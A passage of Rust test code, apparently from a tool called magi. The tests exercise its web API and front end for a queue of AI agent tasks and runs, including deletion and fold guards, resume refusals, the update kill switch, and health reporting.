12964 state.id = "20260902-100000-c0de".to_owned();
12965 write_state(&runs, &state);
12966
12967 let rev_idle = runs_revision(&runs);
12968 std::thread::sleep(Duration::from_millis(10));
12969 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
12970 write_state(&runs, &state);
12971 let rev_started = runs_revision(&runs);
12972 assert_ne!(
12973 rev_idle, rev_started,
12974 "a seat starting must move the revision"
12975 );
12976
12977 std::thread::sleep(Duration::from_millis(10));
12978 state.seat_finished("judge-1");
12979 write_state(&runs, &state);
12980 let rev_finished = runs_revision(&runs);
12981 assert_ne!(
12982 rev_started, rev_finished,
12983 "and clearing it again must move the revision a second time"
12984 );
12985 }
12986
12987 #[tokio::test]
12988 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
12989 let fx = Fixture::start().await;
12994 let q = fx.queue();
12995
12996 let mut t = Task::new(
12997 "Task".to_owned(),
12998 "Instruction".to_owned(),
12999 PathBuf::from("/repo"),
13000 Source::Human,
13001 );
13002 t.block(
13003 vec!["20260101-000000-dead".to_owned()],
13004 Some("waiting on Task 1".to_owned()),
13005 );
13006 t.answers.push(crate::queue::AnsweredQuestion {
13007 question: "Which backend?".to_owned(),
13008 answer: "SQLite".to_owned(),
13009 });
13010 q.put(&mut t).expect("put t");
13011
13012 let res = fx.get("/api/queue").await;
13013 assert_eq!(res.status, 200);
13014 let list = res.json();
13015 let view = list
13016 .as_array()
13017 .expect("array")
13018 .iter()
13019 .find(|v| v["id"] == t.id)
13020 .expect("task in list");
13021 assert_eq!(view["status_str"], "blocked");
13022 assert_eq!(
13023 view["blocked_by"],
13024 serde_json::json!(["20260101-000000-dead"])
13025 );
13026 assert_eq!(view["block_reason"], "waiting on Task 1");
13027 assert_eq!(view["answers"][0]["question"], "Which backend?");
13028 assert_eq!(view["answers"][0]["answer"], "SQLite");
13029
13030 let res = fx
13034 .post(&format!("/api/queue/{}/hold", t.short()), None)
13035 .await;
13036 assert_eq!(res.status, 200);
13037 let held = res.json();
13038 assert_eq!(held["status_str"], "held");
13039 assert_eq!(held["blocked_by"], serde_json::json!([]));
13040 assert!(held["block_reason"].is_null());
13041 assert_eq!(held["answers"][0]["answer"], "SQLite");
13042 }
13043
13044 #[tokio::test]
13045 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13046 let fx = Fixture::start().await;
13047 let q = fx.queue();
13048 let mk = |title: &str| {
13049 Task::new(
13050 title.to_owned(),
13051 "Instruction".to_owned(),
13052 PathBuf::from("/repo"),
13053 Source::Human,
13054 )
13055 };
13056 let mut root = mk("root");
13057 root.hold_manual(Some("waiting".to_owned()));
13058 q.put(&mut root).unwrap();
13059 let mut mid = mk("mid");
13060 mid.block(vec![root.id.clone()], None);
13061 q.put(&mut mid).unwrap();
13062 let mut leaf = mk("leaf");
13063 leaf.block(vec![mid.id.clone()], None);
13064 q.put(&mut leaf).unwrap();
13065
13066 let list = fx.get("/api/queue").await.json();
13067 let find = |id: &str| {
13068 list.as_array()
13069 .unwrap()
13070 .iter()
13071 .find(|v| v["id"] == id)
13072 .unwrap()
13073 .clone()
13074 };
13075 let leaf_view = find(&leaf.id);
13076 assert_eq!(
13077 leaf_view["waits_on"],
13078 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13079 );
13080 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13081 assert_eq!(
13082 find(&mid.id)["waits_on"],
13083 serde_json::json!([format!("{} (held)", root.short())])
13084 );
13085 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13086 }
13087
13088 #[tokio::test]
13089 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13090 let fx = Fixture::start().await;
13091 let q = fx.queue();
13092
13093 let mut t1 = Task::new(
13095 "Task 1".to_owned(),
13096 "Instruction 1".to_owned(),
13097 PathBuf::from("/repo"),
13098 Source::Human,
13099 );
13100 let run_id = "20260901-000000-r111";
13101 t1.runs.push(run_id.to_owned());
13102 write_run(&fx.runs(), run_id, RunStatus::Merged);
13103 q.put(&mut t1).expect("put t1");
13104
13105 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13107 assert_eq!(res.status, 204);
13108 assert!(res.body.is_empty(), "204 No Content has no body");
13109 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13110 assert!(
13111 fx.runs().join(run_id).exists(),
13112 "run directory must not be deleted when its task is deleted"
13113 );
13114
13115 let mut t2 = Task::new(
13117 "Task 2".to_owned(),
13118 "Instruction 2".to_owned(),
13119 PathBuf::from("/repo"),
13120 Source::Human,
13121 );
13122 t2.status = TaskStatus::Running;
13123 q.put(&mut t2).expect("put t2");
13124 let mut beat = crate::daemon::Status::new();
13125 beat.current = vec![crate::daemon::Current {
13126 task: t2.id.clone(),
13127 run: "20260901-000000-r222".to_owned(),
13128 }];
13129 beat.updated_at = jiff::Timestamp::now();
13130 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13131 .expect("publish a heartbeat");
13132 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13133 assert_eq!(res.status, 409);
13134 assert!(
13135 res.json()["error"]
13136 .as_str()
13137 .unwrap()
13138 .contains("live daemon")
13139 );
13140 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13141
13142 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13148 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13149 .expect("leave a stale heartbeat");
13150 let mut t3 = Task::new(
13151 "Task 3".to_owned(),
13152 "Instruction 3".to_owned(),
13153 PathBuf::from("/repo"),
13154 Source::Human,
13155 );
13156 t3.status = TaskStatus::Running;
13157 q.put(&mut t3).expect("put t3");
13158 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13159 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13160 assert_eq!(res.status, 204);
13161 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13162 assert!(
13163 q.claim(&t3.id).is_ok(),
13164 "the stale lock went with it, so the id is claimable again"
13165 );
13166
13167 let res = fx.delete("/api/queue/nonexistent").await;
13169 assert_eq!(res.status, 404);
13170 }
13171
13172 #[tokio::test]
13173 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13174 let fx = Fixture::start().await;
13175 let runs = fx.runs();
13176
13177 let run_id = "20260901-000000-fold";
13179 let mut state = RunState::new(
13180 PathBuf::from("/repo"),
13181 "main".to_owned(),
13182 "abc".to_owned(),
13183 "instruction".to_owned(),
13184 Config::default(),
13185 );
13186 state.id = run_id.to_owned();
13187 state.status = RunStatus::Merged;
13188 state.candidates.push(crate::run::Candidate {
13189 index: 0,
13190 label: 'A',
13191 agent: "a".to_owned(),
13192 branch: "b".to_owned(),
13193 worktree: PathBuf::from("/w"),
13194 summary: String::new(),
13195 stat: String::new(),
13196 files: 1,
13197 commits: 1,
13198 empty: false,
13199 failed: None,
13200 verified_noop: None,
13201 duration_ms: 0,
13202 folded: true,
13203 });
13204 let dir = runs.join(run_id);
13205 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13206 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13207 .expect("write artifact");
13208 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13209 .expect("write run.json");
13210
13211 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13213 assert_eq!(res.status, 204);
13214 assert!(res.body.is_empty(), "204 has no body");
13215 assert!(!dir.exists(), "run directory and artifacts must be deleted");
13216
13217 let run_running = "20260901-000000-rung";
13222 write_run(&runs, run_running, RunStatus::Prep);
13223 let mut beat = crate::daemon::Status::new();
13224 beat.current = vec![crate::daemon::Current {
13225 task: "20260901-000000-task".to_owned(),
13226 run: run_running.to_owned(),
13227 }];
13228 beat.updated_at = jiff::Timestamp::now();
13229 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13230 .expect("publish a heartbeat");
13231 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13232 assert_eq!(res.status, 409);
13233 assert!(
13234 res.json()["error"]
13235 .as_str()
13236 .unwrap()
13237 .contains("live daemon"),
13238 "the refusal must say who is holding it"
13239 );
13240 assert!(
13241 runs.join(run_running).exists(),
13242 "a run in flight keeps its directory"
13243 );
13244
13245 let run_unfolded = "20260901-000000-unfd";
13247 let mut state2 = RunState::new(
13248 PathBuf::from("/repo"),
13249 "main".to_owned(),
13250 "abc".to_owned(),
13251 "instruction".to_owned(),
13252 Config::default(),
13253 );
13254 state2.id = run_unfolded.to_owned();
13255 state2.status = RunStatus::Ready;
13256 state2.candidates.push(crate::run::Candidate {
13257 index: 0,
13258 label: 'A',
13259 agent: "a".to_owned(),
13260 branch: "b".to_owned(),
13261 worktree: PathBuf::from("/w"),
13262 summary: String::new(),
13263 stat: String::new(),
13264 files: 1,
13265 commits: 1,
13266 empty: false,
13267 failed: None,
13268 verified_noop: None,
13269 duration_ms: 0,
13270 folded: false,
13271 });
13272 let dir2 = runs.join(run_unfolded);
13273 std::fs::create_dir_all(&dir2).expect("create dir2");
13274 std::fs::write(
13275 dir2.join("run.json"),
13276 serde_json::to_string(&state2).unwrap(),
13277 )
13278 .expect("write run.json");
13279
13280 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13281 assert_eq!(res.status, 409);
13282 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13283 assert!(dir2.exists(), "unfolded run directory is kept");
13284
13285 let res = fx.delete("/api/runs/nonexistent").await;
13287 assert_eq!(res.status, 404);
13288 }
13289
13290 #[test]
13299 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13300 let start = APP_JS
13301 .find("function renderStats() {")
13302 .expect("renderStats");
13303 let end = start
13304 + APP_JS[start..]
13305 .find("function statsTile(")
13306 .expect("the next top-level function");
13307 let body = &APP_JS[start..end];
13308
13309 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13310 let gate_end = gate_start
13311 + body[gate_start..]
13312 .find("}\n renderStatsQueue")
13313 .expect("the gate's own closing brace, right before the unconditional call");
13314 let gated = &body[gate_start..gate_end];
13315
13316 assert_eq!(
13317 body.matches("renderStatsQueue(").count(),
13318 1,
13319 "renderStats must call renderStatsQueue exactly once: {body}"
13320 );
13321 assert!(
13322 !gated.contains("renderStatsQueue"),
13323 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13324 run-derived panels on an empty run history - the queue panel has to render \
13325 regardless: {gated}"
13326 );
13327 }
13328
13329 #[test]
13330 fn web_ui_delete_contract_in_front_end() {
13331 assert!(APP_JS.contains("deleteRun:"));
13333 assert!(APP_JS.contains("deleteTask:"));
13334
13335 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13337 ..APP_JS.find("function renderRuns").unwrap()];
13338 assert!(!run_cards_slice.to_lowercase().contains("delete"));
13339
13340 assert!(APP_JS.contains("renderRunDelete"));
13342 assert!(APP_JS.contains("runDeleteReason"));
13343 assert!(APP_JS.contains("magi fold"));
13344 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13345
13346 assert!(APP_JS.contains("cancel.focus"));
13348 assert!(APP_JS.contains("armedRunDelete"));
13349 assert!(APP_JS.contains("renderTaskDeleteBox"));
13350 assert!(APP_JS.contains("armed${cap(key)}"));
13351
13352 assert!(APP_JS.contains("disabled: status === \"running\""));
13354 }
13355
13356 #[test]
13376 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13377 let build = APP_JS
13378 .find("function createRunCard")
13379 .expect("createRunCard exists");
13380 let update = APP_JS
13381 .find("function updateRunCard")
13382 .expect("updateRunCard exists");
13383 let end = APP_JS
13384 .find("function renderRuns")
13385 .expect("renderRuns exists");
13386
13387 let builder = &APP_JS[build..update];
13389 let open = builder.find("refs = {").expect("createRunCard sets refs");
13390 let literal = &builder[open + "refs = {".len()..];
13391 let close = literal.find('}').expect("the refs literal is closed");
13392 let published: HashSet<&str> = literal[..close]
13393 .split(',')
13394 .filter_map(|entry| entry.split(':').next())
13396 .map(str::trim)
13397 .filter(|name| !name.is_empty())
13398 .collect();
13399 assert!(
13400 published.len() > 5,
13401 "the refs literal did not parse into names: {published:?}"
13402 );
13403
13404 let mut used: Vec<&str> = Vec::new();
13407 let updaters = &APP_JS[update..end];
13408 for (at, _) in updaters.match_indices("r.") {
13409 let before = updaters[..at].chars().next_back();
13412 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13413 continue;
13414 }
13415 let rest = &updaters[at + 2..];
13416 let len = rest
13417 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13418 .unwrap_or(rest.len());
13419 if len > 0 {
13420 used.push(&rest[..len]);
13421 }
13422 }
13423 assert!(
13424 used.len() > 5,
13425 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13426 );
13427
13428 let missing: Vec<&str> = used
13429 .iter()
13430 .copied()
13431 .filter(|name| !published.contains(name))
13432 .collect();
13433 assert!(
13434 missing.is_empty(),
13435 "a run card's updater reaches for {missing:?}, which `createRunCard` \
13436 never put in `refs` - every card will throw and the list will \
13437 render empty under a count line that says otherwise. Published: \
13438 {published:?}"
13439 );
13440 }
13441
13442 #[tokio::test]
13443 async fn folding_from_the_phone_reports_what_it_removed() {
13444 let fx = Fixture::start().await;
13445 let runs = fx.runs();
13446
13447 let id = "20260901-000000-fold";
13451 write_run(&runs, id, RunStatus::Stalled);
13452 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13453 assert_eq!(res.status, 200);
13454 assert_eq!(res.json()["removed_count"], 0);
13455 assert_eq!(res.json()["run"], id);
13456 assert!(
13457 runs.join(id).exists(),
13458 "a fold keeps the run's record; only the worktrees go"
13459 );
13460 }
13461
13462 #[tokio::test]
13463 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13464 let fx = Fixture::start().await;
13465 let runs = fx.runs();
13466 let wt = fx.home.path().join("wt").join("magi").join("dead");
13467 let id = "20260901-000000-dead";
13468 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13469 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13470 std::fs::create_dir_all(&wt).expect("worktree dir");
13471
13472 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13473 assert_eq!(res.status, 200, "{}", res.body);
13474 assert!(
13475 res.json()["removed_count"].as_u64().unwrap() > 0,
13476 "the worktree this build could not read a state for still went"
13477 );
13478 assert!(
13479 !runs.join(id).exists(),
13480 "an unreadable run has no candidate list to fold selectively, so \
13481 the whole record goes - same as `magi fold` on the CLI"
13482 );
13483 }
13484
13485 #[tokio::test]
13486 async fn deleting_an_unreadable_run_removes_it_wholesale() {
13487 let fx = Fixture::start().await;
13488 let runs = fx.runs();
13489 let wt = fx.home.path().join("wt").join("magi").join("gone");
13490 let id = "20260901-000000-gone";
13491 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13492 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13493 std::fs::create_dir_all(&wt).expect("worktree dir");
13494
13495 let res = fx.delete(&format!("/api/runs/{id}")).await;
13496 assert_eq!(res.status, 204, "{}", res.body);
13497 assert!(!runs.join(id).exists(), "the broken record is gone");
13498 assert!(!wt.exists(), "its worktree is gone too");
13499 }
13500
13501 #[tokio::test]
13502 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
13503 let fx = Fixture::start().await;
13504 let runs = fx.runs();
13505 let id = "20260901-000000-live";
13506 write_run(&runs, id, RunStatus::Implementing);
13507
13508 let mut beat = crate::daemon::Status::new();
13509 beat.current = vec![crate::daemon::Current {
13510 task: "20260901-000000-task".to_owned(),
13511 run: id.to_owned(),
13512 }];
13513 beat.updated_at = jiff::Timestamp::now();
13514 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13515 .expect("publish a heartbeat");
13516
13517 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13518 assert_eq!(res.status, 409);
13519 assert!(
13520 res.json()["error"]
13521 .as_str()
13522 .unwrap()
13523 .contains("live daemon"),
13524 "folding under a running agent would pull its worktree away"
13525 );
13526 }
13527
13528 #[tokio::test]
13529 async fn fold_merged_requires_a_pr_url() {
13530 let fx = Fixture::start().await;
13531 let runs = fx.runs();
13532 let id = "20260901-000000-nourl";
13533 write_run(&runs, id, RunStatus::Blocked);
13534
13535 let res = fx
13536 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
13537 .await;
13538 assert_eq!(res.status, 400, "{}", res.body);
13539
13540 let blank = fx
13541 .post(
13542 &format!("/api/runs/{id}/fold-merged"),
13543 Some(r#"{"pr_url":" "}"#),
13544 )
13545 .await;
13546 assert_eq!(blank.status, 400, "{}", blank.body);
13547 }
13548
13549 #[tokio::test]
13550 async fn fold_merged_is_404_for_an_unknown_run() {
13551 let fx = Fixture::start().await;
13552 let res = fx
13553 .post(
13554 "/api/runs/nosuchrun/fold-merged",
13555 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13556 )
13557 .await;
13558 assert_eq!(res.status, 404, "{}", res.body);
13559 }
13560
13561 #[tokio::test]
13562 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
13563 let fx = Fixture::start().await;
13564 let runs = fx.runs();
13565 let id = "20260901-000000-livemerge";
13566 write_run(&runs, id, RunStatus::Blocked);
13567
13568 let mut beat = crate::daemon::Status::new();
13569 beat.current = vec![crate::daemon::Current {
13570 task: "20260901-000000-task".to_owned(),
13571 run: id.to_owned(),
13572 }];
13573 beat.updated_at = jiff::Timestamp::now();
13574 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13575 .expect("publish a heartbeat");
13576
13577 let res = fx
13578 .post(
13579 &format!("/api/runs/{id}/fold-merged"),
13580 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13581 )
13582 .await;
13583 assert_eq!(res.status, 409, "{}", res.body);
13584 assert!(
13585 res.json()["error"]
13586 .as_str()
13587 .unwrap()
13588 .contains("live daemon"),
13589 "correcting a run's merge underneath a running agent would race \
13590 whatever it is doing to the same `status`/`merge` fields"
13591 );
13592 }
13593
13594 #[tokio::test]
13599 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
13600 let fx = Fixture::start().await;
13601 let runs = fx.runs();
13602 let id = "20260901-000000-unconfirmed";
13603 write_run(&runs, id, RunStatus::Blocked);
13604
13605 let res = fx
13606 .post(
13607 &format!("/api/runs/{id}/fold-merged"),
13608 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13609 )
13610 .await;
13611 assert_eq!(res.status, 400, "{}", res.body);
13612 assert_eq!(
13613 read_run(&runs, id).unwrap().status,
13614 RunStatus::Blocked,
13615 "a pull request that could not be confirmed merged must leave \
13616 the run exactly where it was"
13617 );
13618 }
13619
13620 #[tokio::test]
13621 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
13622 let fx = Fixture::start().await;
13623 let runs = fx.runs();
13624
13625 for (status, word) in [
13631 (RunStatus::Merged, "merged"),
13632 (RunStatus::Ready, "ready"),
13633 (RunStatus::Failed, "failed"),
13634 ] {
13635 let id = format!("20260901-000000-{}", &word[..4]);
13636 write_run(&runs, &id, status);
13637 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
13638 assert_eq!(res.status, 409, "{word} must not be resumable");
13639 let err = res.json()["error"].as_str().unwrap().to_owned();
13640 assert!(err.contains(word), "the refusal names the status: {err}");
13641 }
13642
13643 let mid = "20260901-000000-midf";
13648 write_run(&runs, mid, RunStatus::Reviewing);
13649 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
13650 assert_eq!(res.status, 202, "an interrupted run is resumable");
13651 }
13652
13653 #[tokio::test]
13654 async fn resume_is_refused_while_the_loop_is_running() {
13655 let fx = Fixture::start().await;
13656 let runs = fx.runs();
13657 let stalled = "20260901-000000-stal";
13658 write_run(&runs, stalled, RunStatus::Stalled);
13659
13660 let mut beat = crate::daemon::Status::new();
13664 beat.current = vec![crate::daemon::Current {
13665 task: "20260901-000000-task".to_owned(),
13666 run: "20260901-000000-othr".to_owned(),
13667 }];
13668 beat.updated_at = jiff::Timestamp::now();
13669 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13670 .expect("publish a heartbeat");
13671
13672 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
13673 assert_eq!(res.status, 409);
13674 let err = res.json()["error"].as_str().unwrap().to_owned();
13675 assert!(err.contains("othr"), "it names what the loop is on: {err}");
13676 assert!(err.contains("stop it first"), "{err}");
13677 }
13678
13679 #[test]
13680 fn a_run_cannot_be_resumed_twice_at_once() {
13681 let home = TempDir::new().expect("temp home");
13682 let ui = Ui::new(
13683 Queue::at(home.path().join("queue")),
13684 Questions::at(home.path().join("questions")),
13685 Talks::at(home.path().join("talks")),
13686 home.path().join("runs"),
13687 home.path().to_path_buf(),
13688 PathBuf::from("/repo"),
13689 )
13690 .with_worktrees_root(home.path().join("wt"));
13691 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
13692 let again = ui.begin_resume("20260901-000000-once");
13693 assert!(again.is_err(), "a second tap must not start a second graph");
13694 drop(first);
13695 assert!(
13696 ui.begin_resume("20260901-000000-once").is_ok(),
13697 "and the claim is released when the attempt ends"
13698 );
13699 }
13700
13701 #[test]
13702 fn talk_thinking_tracks_only_its_held_turn_claim() {
13703 let home = TempDir::new().expect("temp home");
13704 let ui = Ui::new(
13705 Queue::at(home.path().join("queue")),
13706 Questions::at(home.path().join("questions")),
13707 Talks::at(home.path().join("talks")),
13708 home.path().join("runs"),
13709 home.path().to_path_buf(),
13710 PathBuf::from("/repo"),
13711 )
13712 .with_worktrees_root(home.path().join("wt"));
13713 let id = "20260901-000000-once";
13714
13715 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
13716 let turn = ui.begin_talk_turn(id).expect("claim turn");
13717 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
13718 assert!(
13719 !ui.is_thinking("20260901-000000-other"),
13720 "one talk's turn does not make another talk busy"
13721 );
13722 drop(turn);
13723 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
13724 }
13725
13726 #[tokio::test]
13727 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
13728 let fx = Fixture::start().await;
13729 let mut beat = crate::daemon::Status::new();
13733 beat.pid = 4321;
13734 beat.updated_at = jiff::Timestamp::now();
13735 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13736 .expect("publish a heartbeat");
13737
13738 let res = fx.post("/api/upgrade", None).await;
13739 assert_eq!(res.status, 409);
13740 let err = res.json()["error"].as_str().unwrap().to_owned();
13741 assert!(err.contains("4321"), "the refusal names the owner: {err}");
13742 assert!(err.contains("old one against the same queue"), "{err}");
13743 }
13744
13745 #[test]
13752 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
13753 assert!(!should_spawn_recheck(&crate::config::Update {
13754 mode: UpdateMode::Off,
13755 interval: None,
13756 }));
13757
13758 unsafe {
13761 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13762 }
13763 let killed = should_spawn_recheck(&crate::config::Update {
13764 mode: UpdateMode::Notify,
13765 interval: None,
13766 });
13767 unsafe {
13768 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13769 }
13770 assert!(
13771 !killed,
13772 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
13773 one-time startup check"
13774 );
13775
13776 assert!(should_spawn_recheck(&crate::config::Update {
13777 mode: UpdateMode::Notify,
13778 interval: None,
13779 }));
13780 }
13781
13782 #[test]
13788 fn recheck_poll_period_tracks_a_short_configured_interval() {
13789 let short = crate::config::Update {
13790 mode: UpdateMode::Notify,
13791 interval: Some("1m".to_owned()),
13792 };
13793 let period = recheck_poll_period(&short);
13794 assert!(
13795 period <= Duration::from_secs(30),
13796 "a one-minute interval must wake the task far sooner than the \
13797 default ceiling, or the deck would not notice within the \
13798 interval the operator configured: got {period:?}"
13799 );
13800
13801 let default = crate::config::Update {
13802 mode: UpdateMode::Notify,
13803 interval: None,
13804 };
13805 assert_eq!(
13806 recheck_poll_period(&default),
13807 UPDATE_RECHECK_POLL_MAX,
13808 "the default day-long interval should poll at the (capped) \
13809 ceiling rather than needlessly often"
13810 );
13811 }
13812
13813 #[test]
13821 fn recheck_skips_the_network_before_the_interval_elapses() {
13822 let dir = TempDir::new().expect("temp dir");
13823 let path = dir.path().join("state.json");
13824 let state = kaishin::UpdateCheckState {
13825 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
13826 last_known_latest: None,
13827 last_known_url: None,
13828 };
13829 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
13830
13831 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
13832 assert!(
13833 !update_recheck_due(&checker, None),
13834 "a check made moments ago must not be repeated before the \
13835 configured interval elapses"
13836 );
13837 }
13838
13839 #[test]
13845 fn recheck_defers_to_an_upgrade_already_in_flight() {
13846 let dir = TempDir::new().expect("temp dir");
13847 let path = dir.path().join("state.json");
13848 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
13849 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
13850
13851 assert!(
13852 !update_recheck_due(&checker, Some(&progress)),
13853 "a recheck must not run while an upgrade this deck started is \
13854 still moving"
13855 );
13856 }
13857
13858 #[tokio::test]
13859 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
13860 unsafe {
13872 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13873 }
13874 let fx = Fixture::start().await;
13875 let res = fx.post("/api/upgrade", None).await;
13876 unsafe {
13877 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13878 }
13879 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13880 let body = res.json();
13881 assert!(body["to"].is_null(), "there was no release to move to");
13882 assert!(body["parked"].is_null(), "and nothing was parked");
13883 assert!(
13884 body["detail"]
13885 .as_str()
13886 .unwrap()
13887 .contains("disabled by MAGI_NO_AUTOUPDATE"),
13888 "{body:?}"
13889 );
13890 }
13891
13892 #[tokio::test]
13893 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
13894 let repo = TempDir::new().expect("repo dir");
13910 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13911 .expect("write magi.toml");
13912 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13913
13914 let res = fx.post("/api/upgrade", None).await;
13920 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13921 let body = res.json();
13922 assert!(body["to"].is_null(), "there was no release to move to");
13923 assert!(body["parked"].is_null(), "and nothing was parked");
13924 assert!(
13925 body["detail"]
13926 .as_str()
13927 .unwrap()
13928 .contains("nothing restarted"),
13929 "{body:?}"
13930 );
13931 }
13932
13933 #[tokio::test]
13934 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
13935 let repo = TempDir::new().expect("repo dir");
13940 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13941 .expect("write magi.toml");
13942 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13943
13944 let health = fx.get("/api/health").await.json();
13945 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
13946 assert_eq!(
13947 health["update"]["available"], false,
13948 "checking is off, which reads as \"unknown\", not \"none\""
13949 );
13950 assert!(health["update"]["to"].is_null());
13951 assert!(
13952 health["upgrade"].is_null(),
13953 "nothing has ever asked this deck to upgrade"
13954 );
13955 }
13956
13957 #[tokio::test]
13958 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
13959 let fx = Fixture::start().await;
13960 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
13961
13962 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13963 progress.parked_run = Some("20260905-000000-cd51".to_owned());
13964 progress.advance(crate::updater::Stage::Parking);
13965 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13966
13967 let health = fx.get("/api/health").await.json();
13968 assert_eq!(health["upgrade"]["stage"], "parking");
13969 assert_eq!(health["upgrade"]["from"], "0.5.1");
13970 assert_eq!(health["upgrade"]["to"], "0.5.2");
13971 let waiting_on = health["upgrade"]["waiting_on"]
13972 .as_str()
13973 .expect("waiting_on is set while parking a known run");
13974 assert!(waiting_on.contains("cd51"), "{waiting_on}");
13975 assert!(waiting_on.contains("implementing"), "{waiting_on}");
13976 }
13977
13978 #[tokio::test]
13979 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
13980 let fx = Fixture::start().await;
13981 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13982 progress.advance(crate::updater::Stage::Done);
13983 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13984
13985 let health = fx.get("/api/health").await.json();
13986 assert_eq!(health["upgrade"]["stage"], "done");
13987 assert!(
13988 health["upgrade"]["waiting_on"].is_null(),
13989 "nothing to wait on once it is done"
13990 );
13991 }
13992
13993 #[tokio::test]
13994 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
13995 let home = TempDir::new().expect("temp home");
13996 let runs = home.path().join("runs");
13997 std::fs::create_dir_all(&runs).expect("runs dir");
13998 let ui = Ui::new(
13999 Queue::at(home.path().join("queue")),
14000 Questions::at(home.path().join("questions")),
14001 Talks::at(home.path().join("talks")),
14002 runs,
14003 home.path().to_path_buf(),
14004 PathBuf::from("/repo/magi"),
14005 )
14006 .with_launch(launch_idle);
